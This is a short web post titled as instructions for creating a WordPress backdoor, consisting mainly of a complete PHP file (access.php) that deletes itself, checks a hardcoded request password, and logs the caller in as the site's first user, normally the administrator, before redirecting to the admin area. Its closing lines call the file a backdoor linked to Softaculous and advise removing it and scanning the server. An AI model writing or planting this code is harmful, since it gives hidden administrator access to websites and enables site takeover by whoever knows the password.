Create a backdoor to WP access (softaculous)

access.php

<?php
@unlink(__FILE__);

// Validate if the request is from Softaculous
if($_REQUEST['pass'] != 'mv8gdj4ohqfxpu34yj5ursupfabcmvdm'){ // your password here
	die("Unauthorized Access");
}

require('wp-blog-header.php');
require('wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
    wp_clear_auth_cookie();
    wp_set_current_user ( $user->ID );
    wp_set_auth_cookie  ( $user->ID );

    $redirect_to = user_admin_url();
    wp_safe_redirect( $redirect_to );

    exit();
}

This is a backdoor file to access your root directory.
I will strongly recommend you to install the WordPress manually instead of using this online software.
Don't forget to remove this file from your server and scan your home directory at least once.